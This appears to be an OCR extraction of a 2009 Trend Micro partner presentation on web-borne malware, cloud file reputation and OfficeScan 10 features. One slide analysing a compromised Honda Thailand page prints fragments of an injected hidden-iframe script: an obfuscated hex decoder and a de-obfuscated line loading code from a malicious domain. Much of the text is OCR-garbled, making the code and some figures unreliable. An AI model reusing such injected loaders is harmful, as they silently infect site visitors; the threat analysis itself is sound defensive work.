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Why do we need a new approach against
malware?

Because Cybercrime is
mainstream now!

A malware industry has
been established!

Cybercrime is bigger than the drug trade today?

, . . . #®, TREND,
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Collaboration in the Underground

Botnhet
Vendors
and Hackers

Carders

Independent Spammers
Businessman Blackmailers

Anti-
Detection
Vendors
ToolKkit
Vendors

Malware
Vendors
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Increase in unique malware samples

1988: 1738 unique malware samples

1998: 177615 unigue malware samples

2008 Jan-May: 2753587 unique malware samples*

Data source: AV-Test.Org, June 2008
* = January - May 2008
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Increase in unique malware samples -

AV-Test.org's Sample Collection Growth
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Incoming Threat Samples Per Hour

2
Trend Micro processes 1500 samples
per hour in year 2009
16,43
6,279
sl
o AN 5 ~
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Problems in the pattern deployment in the future?
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Why Internet Security?

Top threat infection vectors
(how threats arrive on PCs)

Threats now mostly from the Internet
1. Visits to malicious websites
(42%)

2. Downloaded by other malware
(34%)

3. E-mail attachments & links
{ 9%)

4. Transfers from removable disks
{ 8%)

S. Other (mostly via Intermet)
- /o\
source: Trend Micro

JNTERNETI

oo
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A Typical Web Threat — 9th of May 2008

File Edit View History Bookmarks Tools Help

¢ - . \» LE__ [ http://www.honda.co.th/accord/main.html v B |G-

2 Honda Automobile {Thailand) Co.,Ltd. All rights reserved

Done

e

©
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What does the HTML Code look like?

Fle Edit Wiew Help

<td:img sre="images/p_02.]pg" width="325" height="130" border="0" /»</td>
Wty
<t

<td{img src="images/p_04.]jpg" width="325" height="130" /> td>
ot
<t

<td-img sre="images/p_06.7pg" width="325" height="105" /»</td>
<t
<t

<tdsimg sre="images/p_bl2.jpg" width="325" height="80" /< td:
Wty

» HTML_IFRAME. QJ — first detected since
April 29, 2008 using scan engine 8.300 and
pattern file 5.247.00.

</ tablex</ td>
<td-table width="325" border="0" cellspacing="0" cellpadding="0">
<t
<tdsimg sre="images/p_bl@.jpg" width="335" height="65" /< td:
< t<:>tr> I} de-obfuscated.txt - Notepad
<td<img sre="images/p_bll.jpg" width="335" height="70" /></td> Ele Edit Format yew Help
<t <SCRIPT>window.status="Done"; document.writ
ot e('<_‘if;ame qqme=926ac60§ (nFo/dir ind
: —— WIZEN had e src="http://getanewmazda. info/dir/index.p
<J<ttg><1rng sre="images/p_03.]pg" width="335" height="130" />{/td hp? ' +math. Ad(Math. random() *261954) + " ec3
r 4d7dd3c3f’ width=594 height=441
<ty ) ) style=""display:
<td-<img sre="images/p_85.]pg" width="335" height="130" /»{/td> Y=/ iframes" )</ SCRIPT=
ot
<ty
<tds<img sre="images/p_87.jpg" width="33
ot

én iframe ... src=\'http://getanewmazda.info ...

<td-img sre="images/p_bl3.jpg" width="3 . ..
g Getanewmazda.info stores malicious code

</tablex</td>
Sty
</table>

</body> J
</ htril>
<itrame sre='http://url’ widthe'l' height='1' style='visibility: hidden; '»</iframex<script=function v4§22210e7b881(v4822218e7c050]){ function v4822218e7c826 () {var v4822210e7cffl=16;

return v4822210e7cff1;} return(parselnt(v4822210e7cE50, v4822210e7c826() ) ) ;Hfunction v4822210e7d7c(v4822210e7dth3){ function v4822218e7f6fe () {var v4822210e7fece=2; return
v4822218e7fece;} var v4822218e7e77d="";for(v4822210e7ef30=0; v4822210e7ef30<v4822210e7dTh3. length; v4822210e7ef30+=v4822210e7fEfe(] ) {

v4822218e7e77d+=(5tring. fromCharCode (v4822210e7b881(v4822210e7dfh3 . substr(v4822210e7ef30, v4822210e7f6Te()])));return v4822218e7e77d;}
document.write(v4822218e7d7c0( ' 305343524950543E77696E646F 772E7374617475733027446F6E652 73R646F637560656E 742E7 772697465282 730 696672616065 205E6160653 062666430623 13565626220737263305C2
[«] m [ [>]

Trend Micro Channel Confidential June-2009 10 Copyright 2009 - Trend Micro Inc.
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Fast Reaction from Hondal

@@ - |§, hkkp: ffwy . honda. co.thyf b

Datei  EBearbeiten  Ansicht  Faworiten  Extras 7

W

E under construction l l

HONDA

Under Construction
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Another Typical Web Threat

1. Your boss asks you to develop a corporate travel policy
2. You begin with a Google search on travel policy

First result Is

a .gov site

Second result

looks like a
good choice

Trend Micro Channel Confidential

A travelpolicy - Google Search - Microsoft Internet Explorer

GO Ogle [travelpolicy | [ Search | W

Results 1 - 10

procedures and documents

www._gsa.goyl
www.zequel.com

How To Write An Effective Travel Policy Manual
Do-it-yourself travel policy gunde for your busmess 44 page tep by step guide
com/ - 3k - i-S

REGION 3 TRA
REGION 3 TRAVEL POLICY FOR TRAVEL PLANNING AND REIMBURSEMENT. (Operations
Manual - APPENDIX B.1). Necessary and authonzed travel expenses associated wath ...
wwiw ewh ieee_org/regf3/fexcom/mestings/present-travelpolicy html - Similar psges

Travelgollcx Info Page

b be to Tr Ipolicy by filling out the follovang form. ... To unsubscribe from
Travelpolicy. g=t a password reminder, or change your subscription ...
lists hes harvard. edu/mailmanilistinfo/travelpolicy - 7k - Cached - Similar pages

ros; A. PRE-TRAVELPOLICY Policys ecionMaximumbenefitExces s ...

File Edt View Favortes Tools Help a

QBack - ) ¢] & @2 O search ¢ Favorkes €2 JE o< 3

Address &'] http://vawve.google. com/seard’f’hl-en&kr &ris= GGLG°/o2CGGLG°/a3A2006 08%2CGGLG°/°3Aen&q—u'aveb > . Go Lnks

Google [Glvtaveipolcy |Go ¢ @ EF ~ ¥ Bookmarks~ |EJ Popups okay| ¥ Check ~ & Autolink ~ > () Settings~
Signin =

Search for
mrave polidy Did you mean: travel policy Sponsored Links
Images GSA - Travel Manageg!!em
Maps The shortcut to this page is www.gsa. govitravelpolicy. Last Reviewed T Poli -
Mews 6/22/2006. Printer Friendly 1ormat CONTACTS Add:llonal Contacts For . Software that manage your policies,

File Format PDFJMobe Acrobat - View as HTML . . Oct 7 2006 ~

&] £ Internet

June-2009 12 Copyright 2009 - Trend Micro Inc.

9
Ze
-4
om
22
o‘U



Example: Haxdoor

1. You click on the second search

result
o~o Aivvgy(_)‘ Manual - Microsoft Internet Explorer ;,A
€] D M@ G Pseach eraenes @ 2 W - JH OV S
: . L ————————mseme v BGo e
2. You wait...the site appears to o G- 004 @ B+ & Bodeate [Brures s [ FORET NIZTATS  Qsemng
be downloading images and : : 2
content...you wait...and you a c
. & &
walit... |
3. Finally you close the browser
window...you’ll find another site
ol 3 My Computer
¢®) TREND

i Trend Micro Channel Confidential 1 “June-2009 1 13 i Copyright 2009 - Trend Micro Inc.



Example: Haxdoor

Unbeknownst to you...
1. The IFRAME at the top of the page leads you to an

2.

i Trend Micro Channel Confidential 1 “June-2009 | 14 i Copyright 2009 - Trend Micro Inc.

Index.htm file

This file includes a script that exploits the MS Internet
Explorer (MDAC) Remote Code Execution Exploit
(MS06-014)

— The original exploit code has been modified to try to bypass AV
scanners that detect the original exploit

. An executable file (win.exe) is downloaded to your

system and executed

You now have a backdoor with rootkit features—a
variant of the notorious family of backdoor rootkits known

as Haxdoor!



Trend Micro Smart Protection Network (Web)

Correlation:

URL
Sourcing

Sourcing:

End User

Query Traffic

3rd Party
Sources

URL Threat
Research

URLs in

Spam Mails

Customer
Feedback

URLs

Processes more than 50 Million
new IP addresses / URL ‘s daily

Processes more than 1.2
Terabyte daily

More than 1000 Global Threat
Research and Analysis Experts

Operates 24/7 in 10 centers
around the world

Trend Micro Channel Confidential
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URL
Analysis

Category Reputation

Automatic Rating Systems

JIT Human Validation

Malicious EXE or URLs

Category Collaboration

Anti-Spam
Operation

URL Services

Query Points

|

Worldwide Services Dispatch

URL Services
Query Points

URL Services
Query Points

Point
Products

AV/AS Detection Signature or Heuristics

X -Malware
eration

Threat Research
Operation
Y

Email Security Services

Email
Reputation Services

Category & Reputation Score #

DNS & HTTP

URL Filtering Service Web Reputation Service

URLs with malware

June-2009

Copyright 2009 - Trend Micro Inc.

EE—— OEM Partners

9
z
-2
om
22
o‘U



Processing of a Web Threat - Honda example

URLs in
Spam Mails

Y 1

URL End User 3rd Party URL Threat
Sourcing Query Traffic Sources Research

(o ety /furl" ke s D' sty vasibilaty: hidden, /A ramescelptofunction vaR22210uTOGRL vARRI2LONTCOG01( fometion vaRL2IET5 () {var LORTCff1:16;

roturm vaaL22 L0671} roturn(parselng(vaGa20eTcest, aanaatoenca( )| ): Hunction vaAD2Loende(vagaa2Loesfba){ fnction vibdadL0eTtife () {var vabddloenfeces; return Virus Scan Engine VSAPI (heuristics):
WM var VTN for Tk v ek . gt v e st 1210127434 61.91.242.26 1 TREIGSA15
VIR L06TETRd= String frenCharCode AR22210 8L vAR2221ORTEFD3 substr (v L0kTefa9, v 10eTe6e()))));proturn vadn2LokTemnd;) 1.5.1102 43ffffff 3 Possible Hifrm-2 0

et LA e ATt T T 404530 4G50 TS R50E T2 64465 2T OB TL6065 206 EDES 0G0 5400623 G5 62243306

http:%2f%2fwww.honda.co.th%2fjazz%2f

v

Anti-Malware

Operation

Infected sites

detected as = GetaneV\I/_mazd?.info
HTML_IFRAME.QJ maliCious:

16 Copyright 2009 - Trend Micro Inc.
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frveRTRREN]
.......

Trend Micro Smart Protection Network .
Security Made Smarter T

ZOOV TR ‘:?NBW
» Samples

IR Files
. k: Management
Threat Analysis : e
« Submissions TrendLabs & = e

B
- Honeypots _. Malware Database
* Web Crawling m“ T -
rendlabs

» Feedback Loops

 Behavioral Analysis %{%
L

Threat Collection

e Customers

Partners
« TrendLabs Research, ‘
Service & Support

Threat Feeds
(Email, Web, File)

Multi-Vector SaaS/Managed
. """"’ Correlation
ISPs, Cisco, e y
Linksys,
Sony, etc. Feedback Loops
Endpoint

Off Netw

— | e

——
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Why File Reputation in the Cloud?

The traditional approach to Malware protection places the burden
of storage and detection intelligence ON the customer.

Burden of Storage

Negative Effects
Q:,J « vastly increasing endpoint resource usage

(disc, cpu, memory)
* increasing network bandwidth
* increasing delays in handling new threats
* outdated clients?

Endpoint

i Trend Micro Channel Confidential 1 “June-2009 1 18 i Copyright 2009 - Trend Micro Inc.


http://www.mrmen.net/char.php?rude/mr

Why File Reputation in the Cloud?

The future approach to Malware protection places the burden of
storage and detection intelligence In the cloud.

Burden of Storage

6 Advantages

% » minimal endpoint resource usage
* consistent network bandwidth usage
- » immediate handling of new threats
End pol nt * increased awareness of localized threats

i Trend Micro Channel Confidential 1 “June-2009 1 19 i Copyright 2009 - Trend Micro Inc.



Benefits of Cloud-Client Architecture

Hours Until Protection Is in Place

Pattern File Deployed

Pattern File Received

Threat Detected

Prokeead D Bteokeybd

Conventional Cloud-Client
Content Security Architecture

Decrease Security Latency:

Faster Protection Equals Lower Risks and Costs

Trend Micro Channel Confidential June-2009 20



File Reputation — Feedback Loop

« The feedback loop mechanism does not involve copying
or downloading any files from customer communications
for analysis. When a file in an email attachment is
determined by behavioral analysis to be malicious, the
only information that is sent to the file reputation
database is a “fingerprint” of the file—the minimum |CRC
required to uniquely identify that file, along with
references to |IP addresses associated with spam or
potentially malicious websites.

 All of this is accomplished without downloading the entire
file, or in any way accessing the business data that is
Included in that file. In no case is any information stored
that would allow the file to be traced to an end user or
customer organization.

¢®) TREND.

i Trend Micro Channel Confidential 1 “June-2009 121 i Copyright 2009 - Trend Micro Inc.



OfficeScan 10 — Available now! :

OfficeScan

Product Updates

Product VersionSize Lang uagﬁg::::f'e User Guides
*» OfficeScanl0.0_en_GM_B1l068R1.axe 10 410.7MB- May 13,|* Administrator's
Windows 2005 Guide
¥ Installation and
There are two installation packages in Upgrade Guide
OfficeScan 10.0: » Server/Client

Feadme

* Smart Scan
Getting Started
Guide

- The package (.exe package) installs
both the OfficeScan server and Trend
Micro Smart Scan Server (integrated
version) on a computer running
Windows operating system.

- The package (.iso package) installs

the Trend Micro Smart Scan Server

(standalone version) on a VMWare .

virtual machine. | Icro c

-¥ou can upgrade to this product version
free of charge. Visit this site for more
information.

httpd

-If you are using OfficeScan 8.0 S5P1
with patch 3, please apply patch 3.1
before upgrading to this version. For
more information on patch 3.1, refer to
the readme.

* tmess-1.0.1245-1-x86_64-CD.isa 1.0 S00.9MB- May 15, * ReadMe
- 2009

Trend Micro Channel Confidential June-2009 22 Copyright 2009 - Trend Micro Inc.



OfficeScan 10 — New features

* File Reputation

 Cloud Scan Server (Integrated or Standalone)
* Device Control

 Role Based Administration

« Active Directory integration for Security Compliance
reports

« Optional End-user control for Scheduled Scans
« Web Reputation configurations improvements
 Windows Server 2008 Support

i Trend Micro Channel Confidential 1 “June-2009 { 928 i Copyright 2009 - Trend Micro-Inc. o’



OfficeScan 10

* File Reputation

— With File Reputation technology, the OfficeScan client provides
more immediate protection with negligible pattern management
effort and a lighter footprint

— Administrators can decide to use either cloud based scanning or
traditional scanning technology

/2 Scan Method Settings - Windows Internet Explorer =10 x|
=]

Scan Method Settings Help

IMPORTANT: Switching from one scan method to another may significantly affect both OfficeScan server and client

performance, especially if a large number of clients will switch. For more information, refer to the Help.

{" Standard Scan

Standard Scan leverages anti-malware and anti-spyware components stored locally on endpoints.

{* Cloud Scan
Cloud Scan leverages anti-malware and anti-spyware signatures stored in-the-cloud.

Save Cancel

i Trend Micro Channel Confidential 1 “June-2009 | 24 i Copyright 2009 - Trend Micro Inc.



OfficeScan 10

ORIGINAL CONSUMER PATTERNS

NEW CCFR PATTERN BRANCH

Anti-malware Pattern
LPTSVPN.??2?

+

Antispyware Pattern
SSAPTN.???

Cloud Virus Pattern (SERVER)
[Anti-mahware & Andspyware)
iCRCSTRL. 7?77
(MEW CCFR PATTERM BRANCH)

Cloud Virus Agent Pattern

(CLIENT)
(Anti-mabware & Antispyware)
ICRCHCTH.??7
|MEW CCFR PATTERM BRAMNCH)

Trend Micro Channel Confidential June-2009
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LY

OfficeScan 10 ;

FILE

REPUTATION
Query file signature

Immediate response

Internet

Corporate Network

Constant, real-time
updates happen

in the cloud
Query file signature
-
Immediate response
Local Scan Server
. . . . @TREND
i Trend Micro Channel Confidential i June-2009 1 26 i Copyright 2009 - Trend Micro Inc. - " ! CRO



OfficeScan 10

 Cloud Scan Server (Integrated)

i Trend Micro Channel Confidential 1 “June-2009 { 827 i Copyright 2009 - Trend Micro-Inc. o’

Integrates with OSCE 10 server (on OSCE management console)
Supports Windows platform either in 32 or 64 bits environment
Performs active update for Cloud Scan Server related patterns
Stores Cloud Virus & Smart Filter Patterns

Clients are able to download latest Smart Filter patterns from Cloud
Scan Server

Clients are also able to send CRC queries to Cloud Scan Server

Responds results back to the clients by querying patterns in the
shared memory



OfficeScan 10 - cloud Scan Server (Integrated)

 Install Cloud Scan Server (Integrated)

Trend Micro OfficeScan

Install Cloud Scan Server [Embedded]

M

X]
Select No

END_, /
CRO

Claud Scan Server [Embedded] Dezcription

T he following settings will be applied ta installation of cloud scan zerer.

/

whould Yo like to inztall it now? lj
i Install Cloud Scan Server [Embedded)
% Mo, | don't want b install Cloud Scan Server o TREND
J MICRO
" Yesz, pleaze install it now
Cloud Scan Server [Embedded] Description
The following settings will be applied to installation of cloud scan server.
Would you like to install it now?
[ rrstallS hield )
" No, | don't want to install Cloud Scan Server
Help < Back | M
& Nes, please install it nows
—
¥ Enable 55
Certificate validity period: I;;; year(s)
SSL port: 4343
Select Yes IstaliShield
Help | < Back | Next » I Cancel |
. . \ #®, TRE
Trend Micro Channel Confidential 1 “June-2009 1 28 i Copyright 2009 - Trend Micro Inc. o7 M1 C
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OfficeScan 10 - cloud Scan Server (Integrated)

Cloud Scan Service Source

(@

Scan Now

1rewe. . OfficeScan~

Logged in as; 8 root &Log Off | l

Update Server Now

summary

Cloud Scan Server Source

Cloud Clients connect to Cloud Scan Server according to Computer Location.

External Computers | Internal Computers

Compliance Report
+ Networked Computers

Cloud Scan Server

Source

Trend Micro Global Cloud Scan Service

External computer will connect to Trend Micro Global Cloud Scan Service
Trend Micro's Global Cloud Scan Service

(https://oiea.trendmicro, com/trncss/VSAPIINfo?)

Cloud Scan Server

+ Updates
+ Logs

+ Cisco NAC
+ Notifications

+ Adrinistration

+ Tools

Plug-in Manager

June-2009

Trend Micro Channel Confidential

Copyright 2009 - Trend Micro Inc.
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OfficeScan 10 - cloud Scan Server (Integrated)

Scan Server

) TREND.

—

Scan Now

Update Server Now

Summary

Compliance Report

+ Networked Computers

Cloud Service

Cloud Scan Server Source

OfficeScan™

Logged in as: 8 root .& Log Off | I

| Cloud Scan Server

+ Updates
*Logs
+ Cisco NAC

+ Notifications

+ Administration

+ Tools

Plug-in Manager

Trend Micro Channel Confidential

June-2009

Cloud Scan Server (Integrated)

¥ Enable Cloud Scan Server (Integrated)

Help

Cloud Scan Server URL

https://i-b-4:4345/trcss/

Component Status

Componant Current Version Last Update
Cloud Virus

S.411,00 11/18/2008 11:19:36
Index Pattern
Cloud Virus

S5.657,00 11/18/2008 11:21:13
Pattern

Update Settings

Update Schedule

@ Hourly
(& Every 15 minutes

Update Source

&  Trend Micre ActiveUpdate Server
(httpi//beta, external.trendmicro. com/factiveupdate/icrc)
(@ Other Update Source:

Ihtt;:- s

Cancel I

30
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OfficeScan 10

 Cloud Scan Server (Standalone)

i Trend Micro Channel Confidential 1 “June-2009 t 831 i Copyright 2009 - Trend Micro-Inc. o’

A Linux Server with CentOS 5.1 kernel (a freely-available Linux
distribution)

Stores Cloud Virus Pattern (on database) & Smart Filter
Clients can download both Smart Filter from Cloud Scan Server

ICRC Clients make CRC queries to the Cloud Virus Pattern DB
on Cloud Scan Server

ONLY be installed as virtual machine on VMWare ESX 3.0, ESX
3.5, ESXi 3.5 and Server 2.0

CPU/BIOS MUST support Virtualization Technology

Virtual machine MUST be 64-bit compatible (i.e. 64-bit Guest
0S)

ICRC Cloud Scan Server CANNOT be installed on Virtual
machine without hard drive or network device



OfficeScan 10 - cloud Scan Server (Standalone)

File Edit View Favorites Tools Help I ‘z.
Qback + ) - ¥ [2] (| S search v Favorites €| (v b [
Address [&] http://10.10.35.231:8080/index.phe?resson=logoff B |unks >
) TREND. | cloud Scan Service
LOGIN
® Copyright 2008 Trend Micro Incorporated. Al rights reserued.
v 1. Open http://server-ip:8080
v 2. Login as “admin” only
-]
[&pene T @msedstes

Copyright 2009 - Trend Micro Inc.
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OfficeScan 10 - cCloud Scan Server (Standalone)

()18 Cloud Scan Service

END
cHO

Logged in as: @admin & Log Off | About

Summary
zummary
+ Lpdate — = =
E Cloud Scan Service
Support

https:/f10. 2,168,185/ trmcs s

Component Status

Component

Current ¥ersion

Last Update

Tnud Virus Index Pattern

Cloud Wirus Patkern

S.411.00

S.625,00

2002 11-07 03:11:03 AM

2002 11-0s 08:0323:10 PM

33
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OfficeScan 10 ;

* File Reputation

— Administrators can decide to use either cloud based scanning or
traditional scanning technology

@I?E’.}'E’ ; OfficeScan™ rowered by Smart Protection Network 8 root & Loa off | B[ Help - =]

Current server: fn-osce-02

Client Management £ Refresh [ Help

Scan Now
Update Server Now

Select domains or computers from the client tree, and then select one of the tasks provided abowve the client tree.

Search for computers: I ,DS'BEI'E"I | Advanced search

Client tree view: IView all ;I

Summary

Security Compliance

Networked Computers jﬁ Status Tasks. b EI] Settings * ﬁLugs b T:= Manage Client Tree * E>cpurt

Client Management [ d OfficeScan Server Computer = | IP Address | Connectio. ., | Scan Method | Cloud Sca... | Cloud Scan Server URL ]
Global Client Settings -1 @ Cloudaroup B, FH-0sCE-02 192,168.1,204:...  Online CloudScan  Available https: f{fn-osce-02:4343
Computer Location o Workgroup

+ Firewall

+ Client Installation

Connection Verification

Outbreak Prevention lI -

| [ [ [ [SJLacalintranet KSR

New icon -> W L% Y ED 1135 AM

#®) TREND,
Copyright 2009 - Trend Micro Inc. M ICRD
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OfficeScan 10

e Device Control

— Capability to granularly control the access and use of fixed and
removable devices, such as USB storage.

Device Control

=101 x|

Help d

[¥ Enable Device Contral

[ Block AutoRun function on USE devices

Device

Description Permissions

Plug-in devices (USE)

Optical disks

Floppy disks

Network resource

Includes all kinds of storage devices, except floppy and optical

disks, that connect through a USE interface

Storage media that are read using lasers, such as CDs and DVDs;
includes disks that are read by either external or built-in drives
Storage media that are made of a soft magnetic disks typically

housed in either a rigid plastic case, like the 3 1/2-inch version, or a

flexible sleeve, like the 3 1/2-inch version; includes disks that are
read by either external or built-in drives

Mapped drives and resources identified by (Uniform/Universal

|F|_||| Access -
|F|_||| Access -
|F|_||| Access LI
No Access LI

Naming Convention) UNC paths Full Access

Naotification

[¥ Display a notification message on the client computer when OfficeScan detects unauthorized

Read Onl

Read and Write Only
Read and Execute Only

Caneel |
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OfficeScan

10

* Device will be “Plug-in devices (USB)”
 Permissions will be “No Access”

OfficeScan Notification Message

TREND MICRO™ OfficeScan™

Unauthorized access detected ]

DfficeScan detected unauthorized access to devices connected to your computer.

Datet‘Timel Device l Target ] Accessed By I Permissions

2/187200... Plug-in devices ([USB] E:MAUTORUNINF  C:AWINDO...  NoAccess
2/18/200... Plug-in devices [USB] EAAUTORUN.INF  CAWINDOD...  NoAccess

< { B

OK I

Trend Micro Channel Confidential
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OfficeScan 10

 Role Based Administration
— Allows to spread responsibilities
for endpoint security amongst
multiple administrators and to
define their management roles
based on their login credentials

37

June-2009
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ROLE

Access

Administrator

Configure all menu items

v

Cielegate this role only to users with sufficient
knowledge of OfficeScan functions to prevent
misconfigurations.

Power User

B Configure the following menu items and sub-items:
B petworked Computers = Client Installation

B petworked Computers = Firewall

Logs

Scan Mow (located on top of the main menu)

Client tree settings {(whenewver the client tree displays,
all zettings visible to the user can be configured)

B No access to the following menu items:
B Plug-in Manager
B Administration = Role Management
B Administration = User Management

B iew access to all the other menu items

Guest User

B pNo access to the following menu items:
B Plug-in Manager
B Administration = Role Management
B Administration = User Management

B view access to all other menu items

Copyright 2009 - Trend Micro Inc.




OfficeScan 10

|»

Scan Now

Update Server Now

Summary

User Roles

Help

Add * Copy L__T Delata

3| Exxport Irnpurt

[T Ralew

Description

Security Compliance

+

Metworked Computers

+

Cloud Scan

Updates

+

Logs

+

Cizco NAC

+

Motifications

Administration

Role Management

User Management

Administrator (Built-inl

Guest User (Built-in

Power User (Built-in]

A|:||:| * Copy L-_T Delete

This built-in rale cannot be modified or removed. Users with this role have full access to all OfficeScan Web
consocle menu items and functions.

This built-in rale cannot be modified or removed. Users with this role have no access to Plug-in Manager
and Role-based Administration, and view only access to all other console items.

This built-in rale cannot be modified or removed. Users with this role can perform administrator tasks such
as installing clients, initiating Scan Now, managing logs, and configuring OfficeScan firewall and client tree
settings. Users have no access to Plug-in Manager and Role-based Administration, and view only access to

all other console items.

3| Excport Impurt

Proxy Settings

Connection Settings

Inactive Clients

Quarantine Manager

Product License

World Virus Tracking

Control Manager Settings

Database Backup

+ Tools

Trend Micro Channel Confidential
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OfficeScan 10 ;

—| User Accounts € Help
Scan Now
Update Server Now
[EEAdd [#add from Active Directory| [EPChange Role| [Tj Delete 1-1of1 W 4 page
Summary I_ User Name™ Full Name Domain Role
Security Compliance root Administrator account created during installation Administrator (Built-in)
+ Networked Computers
+ Cloud Scan [Eiadd [#Hadd from Active Directory| [EPChange Role| [Tf Delete 1-10f1 M 4 Page
+ Updates
Rows per
+ Logs
+ Cizco NAC
+ Notifications

Administration

Role Management

User Management

Prowy Settings

Connection Settings

Inactive Clients

Quarantine Manager

Product License

World Virus Tracking

Control Manager Settings

Databaze Backup

+ Tools

June-2009 39
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OfficeScan 10

« Active Directory integration for Security Compliance
reports

i Trend Micro Channel Confidential 1 “June-2009 1 “40 i Copyright 2009 - Trend Micro-Inc. o’

Administrators can easily spot ‘unprotected’ machines by
connecting OfficeScan to the central Active Directory and by
guerying various levels in the AD tree (Organization Unit, and
Container)

Manage the static AV status under specified scope of AD
structure

Provide remote installation functionality over un-protected
computers in the AD structure

Scheduled/Manual update of compliance report
An AD domain is available (NT4 domain not supported)
OSCE server installed on the computer joined AD domain
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OfficeScan 10

G—@; v [ httpsijifn-osce-02:4343jofficescanjconsolefhtmijcaifcaic ¥ | 18! Certficate Eror | 2| X | [Live search £~
Wk (@ Trend Micro OfficeScan ﬁ b - e v .7 Page v @Tgols' -7

-

. TREND MICRO™OfficeScan™ powered by Smart Protection Netwark o tos o 1 @] - Help--------- ~|| (@Y IREND

il -~
® Scan Now Management Scope |Frototype | (2 BN =

q Update Server Now Compliance Report » Management Scope

Management Scope Last Update: 07/27/2008 13:45:55

Summary

Compliance Report

E} T:: Domain 1 -Taipei

Role-based Administration :
» Networked Computers Domain 1 -Taipei-Computers
» Updates G} [7] b Built-in
» Logs ' [:lﬂ] Computers
» Notifications B V] 48 users
» Administration [ B= pomain 2 -Tokye
» Tools D Domain 2 -Tekyo-Computers

BD T:: Domain 3 -Germany

""" D Domain 3 -Germany-Computers

[ Save only ][ Cancel [ Save and reassess ] =
K1l I:J_‘

Copyright 2009 - Trend Micro Inc.
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OfficeScan 10

=18(x]

% v lgl https:f.i'_fnsosce‘-ﬂZ:'4343;‘ofﬁtescan}consoie}‘html}cgifi;git j[@ Certificate Error HE] ]:)_(j ILive Search

U9 @¢ @ Trend Micro OfficeScan

-

.\:: Scan Now

, TREND MICRO™Office Scan™ Powered by Smart Protection Network

(2]
R v B - & - |2} Page v {GfTools ~

LA

|
)
[

] update Server Now

Summary

Compliance Report

Role-based Administration

» Networked Computers

» Updates

» Logs

» Notifications

» Administration

» Tools

Trend Micro Channel Confidential

Protection Status (V)

[ Management Scope ] ;l
Status Computers
D Managed by this OfficeScan server 3
D Managed by another OfficeScan server 1
D Mo OfficeScan client installed
Total -1

@ View all computers

O Search for computers:

| [ Search ] Advanced Search

Last Update: 5/4/2008 16:06:34
ﬁ Install Export 1-20 of 200 M « page[ liof10 P M
Computer Name = | OfficeScan Server | OfficeScan Domain | AV Status |ADT
=] johndoe01 twoacel] trend Managed by this server  tw tre
E johndoe02 twoace01 trend Managed by this server  tw.tre
johndoe03 twoace0l trend Managed by this server  tw.tre
[a johndoe04 twoace02 trend Managed by another sexve tw.tre
johndoe05 N/& Nk No client installed tw tre
=) johndoe0f N/A NVA No client installed tw tre
v
4 | »f
. . . f®) TREND,
1 “June-2009 | 42 I Copyright 2009 - Trend Micro‘Inc. o Y IORD
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OfficeScan 10 ;

/- Trend Micro OfficeScan - Windows Internet Explorer " -||5|Ii<_|

@ ~ |&  httpsiffn-osce-02:4343officescanfconsolefhtmlfcgifegic ¥ | %Y Certificate Error ||§| Iz[ [Live search R
W dhe (@ Trend Micro OfficeScan - - feh v o Page v Tools ~

-

. TREND MICRO™Office Scan™ Powered by Smart Protection Network @l Loa off | @] Help---=-—-z- ]| &) TREND

o Scan Now Step 4: Install OfficeScan client to unprotected computers =

] update Server Now Compliance Report |Frototype | Help
Summary Protection Status (¥) [ Management Scope |
Compliance Report Status Computers
Role-based Administration

D Managed by this OfficeScan server 3
» Networked Computers
» Updates I___l Managed by another OfficeScan server v
» Logs D Mo OfficeScan client installed 2
» Notifications Total 6
» Administration b
» Tools
@ View all computers
O Search for computers: | [ Search J Advanced Search
Last Update: S/4/2008 16:06:34
2 nstal Export 1-20 of 200 M 4 page of 10 P M
Computer Name = | OfficeScan Server | OfficeScan Domain | AV Status | ADT
=) johndoe05 N4 trend No client installed . tre
=) johndoe06 N/A trend No client installed tw tre
v
4 | »f

43 Copyright 2009 - Trend Micro Inc.
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OfficeScan 10

« Optional End-user control for Scheduled Scans

— Users can decide to postpone or skip scheduled scans based on
the privilege assignment by administrators

_lal x|
Help

/2 privileges and Other Settings - Windows Internet Explorer

Privileges and Other Settings

| Other Settings
]

Privileges
Roaming Privilege i
Postpone Scheduled Scan
[] Enable reaming mode Users with the "Postpone Scheduled Scan” privilege can perform the following actions:
Scan Privileges B Postpone Scheduled Scan before it runs and then specify the postpone duration. Scheduled Scan

Allow users to do the following: can only be postponed once.
B If Scheduled Scan is in progress, users can stop scanning and restart it at a later time. Users then

specify the amount of time that should elapse before scanning restarts. When scanning restarts, all
previously scanned files are scanned again. Scheduled Scan can be stopped and then restarted

only once.

[T cConfigure Manual Scan settings
[T cConfigure Real-time Scan settings

[ configure Schadulad Scan settings

The minimum postpone duration/elapsed time users can specify is 15 minutes. The
maximum i 12 hours and 45 minutes, which you can reduce by going to Networked
Computers > Global Client Settings > Scheduled Scan Settings > Postpone
Scheduled Scan for up to ___ hours and __ minutes.

Scheduled Scan Privileges

Allow users to do the following:

[T Postpone Scheduled Scan

[ ]

[T skip and stop Scheduled Scan

Save | Cancel

Trend Micro Channel Confidential
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OfficeScan 10 ;

 Web Reputation configuration improvements

— Added granularity, allowing the assignment of Web Reputation
policy at various layers of the OfficeScan client tree.

Client Management B refresh [ Help

Scan Now

Select domains or computers from the client tree, and then select one of the tasks provided above the client tree.
Update Server Now

Search for computers: I ' Search Advanced search

Summary

Client tree view: I‘u"iew all ;I

Security Compliance

Networked Computers jﬂ Status Task_r. - |ij]5ettings - ﬁLugs - T:= Manage Client Tree * E>cpurt

Cliond Management ’ Hﬁ CfficeScan Server Scan Methods Settings Address | Connetio... | ScanMethod | Cloud Sca... | Cloud Sean Server URL

Global Client Settings Cloudgroup i 1658.1.204:...  Online Cloud Scan Available https: fffr-osce-02: 43430t
. warkaroup Manual Scan Settings

Computer Location

Real-time Scan Settings

+ Firewall
+ Client Installation Scheduled Scan Settings
Connection Verification Scan Now Settings

Outbreak Prevention

Update Agent Settings

+ Cloud Scan
Privileges and Other Settings
+ Updates
+ Logs Web Reputation Settings
+ Cisco NAC Device Control

+ Notifications

— - Spyware/Grayware Approved List
+ Administration

+ Tools Export Settings

Import Settings

I — 2

Number of clients: 1 Clients using cloud scan: 1 Clients using standard scan: 0

Plug-in Manager

9
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OfficeScan 10 Web Reputation :

External Clients | Internal Clients

Configure the Web reputation policy for external clients. L‘TJ

Enable Web reputation policy

Clients connect to the Trend Micro Web reputation servers to determine if a Web site is safe to access. If connection to the reputation servers require proxy authentication,
specify authentication credentials by going te Administration > Proxy Settings = External Prosxy tab > Client Connection with Trend Micre Servers.

Security Level

| ) High Blocks pages that are:
| E verified to be fraudulent or known scurces of threats
